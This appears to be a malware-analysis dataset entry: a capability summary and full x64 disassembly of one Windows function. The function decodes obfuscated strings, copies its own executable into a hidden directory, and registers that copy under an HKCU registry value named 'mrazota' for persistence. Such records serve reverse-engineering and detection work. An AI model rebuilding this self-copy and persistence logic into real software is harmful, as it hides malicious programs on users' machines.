Function at 0x14000111c
Capabilities:
Create directory
Delete file
Encode data using xor
Get file size
Query environment variable
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x130
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], rdi
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xe0], rax
xor r15d, r15d
lea r8, [0x140000000]
mov word [rbp + 0x7a], r15w
mov ecx, r15d
lea edx, [r15 + 0x1d]
movzx eax, word [rcx + r8 + 0x189e8]
xor ax, word [rcx + r8 + 0x18980]
lea rcx, [rcx + 2]
not ax
mov word [rbp + rcx + 0x3e], ax
sub rdx, 1
jne 0x14000116e
xor r8d, r8d
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r8d, eax
mov dword [rbp], r8d
test eax, eax
je 0x14000129d
mov edx, r8d
add rdx, rdx
lea rcx, [rdx + 0x10]
cmp rdx, rcx
sbb rdx, rdx
and rdx, rcx
je 0x14000129d
movabs rcx, 0xffffffffffffff0
cmp rdx, 0x400
ja 0x14000120c
lea rax, [rdx + 0xf]
cmp rax, rdx
ja 0x1400011e6
mov rax, rcx
and rax, 0xfffffffffffffff0
call fcn.14000f1c0
sub rsp, rax
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x14000129d
mov dword [rbx], 0xcccc
add rbx, 0x10
jmp 0x14000122a
mov rcx, rdx
call fcn.1400067e4
mov rbx, rax
test rax, rax
je 0x140001226
mov dword [rax], 0xdddd
add rbx, 0x10
mov r8d, dword [rbp]
test rbx, rbx
je 0x14000129d
mov rdx, rbx
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x14000128c
mov edi, r15d
add edi, 0x20
mov ecx, edi
add rcx, rcx
call fcn.1400067e4
mov rsi, rax
test rax, rax
je 0x140001284
mov r8d, edi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
test eax, eax
je 0x1400012d4
mov rcx, rsi
call fcn.1400067d0
cmp r14d, 0x7a
je 0x140001243
mov rsi, r15
mov rcx, rsi
call fcn.1400067d0
lea rcx, [rbx - 0x10]
cmp dword [rcx], 0xdddd
jne 0x14000129d
call fcn.1400067d0
xor eax, eax
mov rcx, qword [rbp + 0xe0]
xor rcx, rbp
call fcn.140002260
mov rbx, qword [rbp + 0x120]
mov rsi, qword [rbp + 0x128]
mov rdi, qword [rbp + 0x130]
lea rsp, [rbp + 0xf0]
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r8, rsi
mov rdi, rsi
sub r8, rbx
mov rax, rbx
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x1400012f4
add rax, 2
test edx, edx
jne 0x1400012e0
test ecx, ecx
mov rcx, rsi
je 0x1400015c9
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
test rax, rax
je 0x140001284
lea rdx, [rbp + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400015bb
cmp dword [rbp + 0xc], r15d
jne 0x1400015bb
mov ecx, dword [rbp + 8]
call fcn.1400067e4
mov r12, rax
test rax, rax
je 0x1400015bb
mov r8d, dword [rbp + 8]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400015b3
mov word [rbp + 0x3a], r15w
lea r8, [0x140000000]
mov rcx, r15
mov edx, 0x11
movzx eax, word [rcx + r8 + 0x189c0]
xor ax, word [rcx + r8 + 0x18a90]
lea rcx, [rcx + 2]
not ax
mov word [rbp + rcx + 0x16], ax
sub rdx, 1
jne 0x140001399
xor r8d, r8d
lea rcx, [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r15d, eax
test eax, eax
je 0x1400015b3
mov edx, r15d
add rdx, rdx
lea rcx, [rdx + 0x10]
cmp rdx, rcx
sbb rdx, rdx
and rdx, rcx
je 0x1400015b3
cmp rdx, 0x400
ja 0x14000142c
lea rax, [rdx + 0xf]
cmp rax, rdx
ja 0x14000140a
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.14000f1c0
sub rsp, rax
lea rdi, [rsp + 0x40]
test rdi, rdi
je 0x1400015b3
mov dword [rdi], 0xcccc
jmp 0x140001442
mov rcx, rdx
call fcn.1400067e4
mov rdi, rax
test rax, rax
je 0x140001446
mov dword [rax], 0xdddd
add rdi, 0x10
test rdi, rdi
je 0x1400015b3
mov r8d, r15d
lea rcx, [rbp + 0x18]
mov rdx, rdi
mov r14, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r15d, r15d
test eax, eax
je 0x1400015a2
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1400015a2
lea edx, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400015a2
mov qword [rsp + 0x30], r15
lea r8d, [r15 + 3]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
xor eax, eax
test r15, r15
je 0x1400015a2
mov r8d, dword [rbp + 8]
xor r9d, r9d
mov rdx, r12
mov qword [rsp + 0x20], rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor ecx, ecx
test eax, eax
je 0x140001599
mov word [rbp + 0xda], cx
lea edx, [rcx + 0x2d]
lea r8, [0x140000000]
movzx eax, word [rcx + r8 + 0x18ac0]
xor ax, word [rcx + r8 + 0x18a30]
lea rcx, [rcx + 2]
not ax
mov word [rbp + rcx + 0x7e], ax
sub rdx, 1
jne 0x140001500
lea rax, [rbp + 0x10]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x80]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001590
mov eax, dword [rbp]
lea rdx, str.mrazota
mov rcx, qword [rbp + 0x10]
mov r9d, 1
shl eax, 2
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001584
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001599
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r14 - 0x10]
cmp dword [rcx], 0xdddd
jne 0x1400015b3
call fcn.1400067d0
mov rcx, r12
call fcn.1400067d0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001284
call fcn.1400067d0
lea rcx, [rbx - 0x10]
cmp dword [rcx], 0xdddd
jne 0x1400015df
call fcn.1400067d0
mov eax, 1
jmp 0x14000129f